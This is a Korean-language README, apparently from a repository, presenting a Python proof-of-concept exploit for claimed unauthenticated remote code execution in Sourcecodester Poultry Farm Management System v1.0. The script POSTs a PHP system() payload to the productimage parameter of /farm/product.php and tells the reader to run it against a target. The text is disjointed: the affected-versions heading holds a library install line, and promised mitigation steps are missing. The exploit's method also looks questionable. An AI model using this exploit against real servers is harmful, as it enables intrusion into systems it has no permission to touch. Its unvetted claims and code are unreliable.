
Sourcecodester Poultry Farm Management System의 취약한 productimage 매개변수를 통한 인증되지 않은 원격 코드 실행을 시연하는 개념 증명 스크립트입니다.
이 저장소는 Sourcecodester Poultry Farm Management System v1.0에서 인증되지 않은 원격 코드 실행(RCE) 취약점을 증명하는 PoC 스크립트를 포함합니다. 이 취약점은 /farm/product.php의 productimage 매개변수에 존재하며, 공격자가 서버에서 임의 코드를 실행할 수 있게 합니다.
CVE-ID: (미할당)
개요:
Sourcecodester Poultry Farm Management System v1.0은 /farm/product.php의 productimage 매개변수를 통해 인증되지 않은 원격 코드 실행(RCE) 취약점을 포함합니다. 이 취약점으로 인해 공격자는 인증 없이 서버에서 임의 코드를 실행할 수 있습니다.
영향받는 버전:
requests 라이브러리 (pip install requests)이 스크립트는 공격자가 취약한 매개변수에 악의적인 요청을 보내 RCE 취약점을 악용하는 방법을 보여줍니다.
다음 스크립트를 rce_poc.py로 저장하고 실행하세요.
import requests
# Configuration
target_url = "http://target-url/farm/product.php" # Change this to the target URL
# Malicious payload
# The payload should be a command that the server can execute, e.g., 'ls' to list directory contents
# Here, we are using a simple PHP payload to demonstrate the RCE
payload = "<?php system('ls'); ?>"
# Construct the malicious request
data = {
'productimage': payload # The vulnerable parameter
}
def exploit_rce(url, data):
"""
Exploit the RCE vulnerability by sending a malicious request to the target URL.
Args:
url (str): The target URL.
data (dict): The data to be sent in the POST request.
"""
try:
response = requests.post(url, data=data)
# Print the response details
print("Status Code:", response.status_code)
print("Response Body:", response.text)
if response.status_code == 200:
print("[+] Successfully executed the payload.")
else:
print("[-] Failed to execute the payload.")
except requests.RequestException as e:
print(f"[-] An error occurred: {e}")
if __name__ == "__main__":
print(f"Sending malicious request to: {target_url}")
exploit_rce(target_url, data)
target_url을 취약한 서버의 /farm/product.php 엔드포인트 URL로 설정합니다.productimage 매개변수에 악성 페이로드를 포함한 POST 요청을 구성합니다.exploit_rce() 함수는 대상 URL로 악성 요청을 보내고 응답 세부 정보를 출력합니다.이 취약점을 완화하려면 다음 단계를 적용하십시오.
이러한 완화 단계와 보안 모범 사례를 따르면 Sourcecodester Poultry Farm Management System v1.0에서 이와 같은 RCE 문제를 예방할 수 있습니다.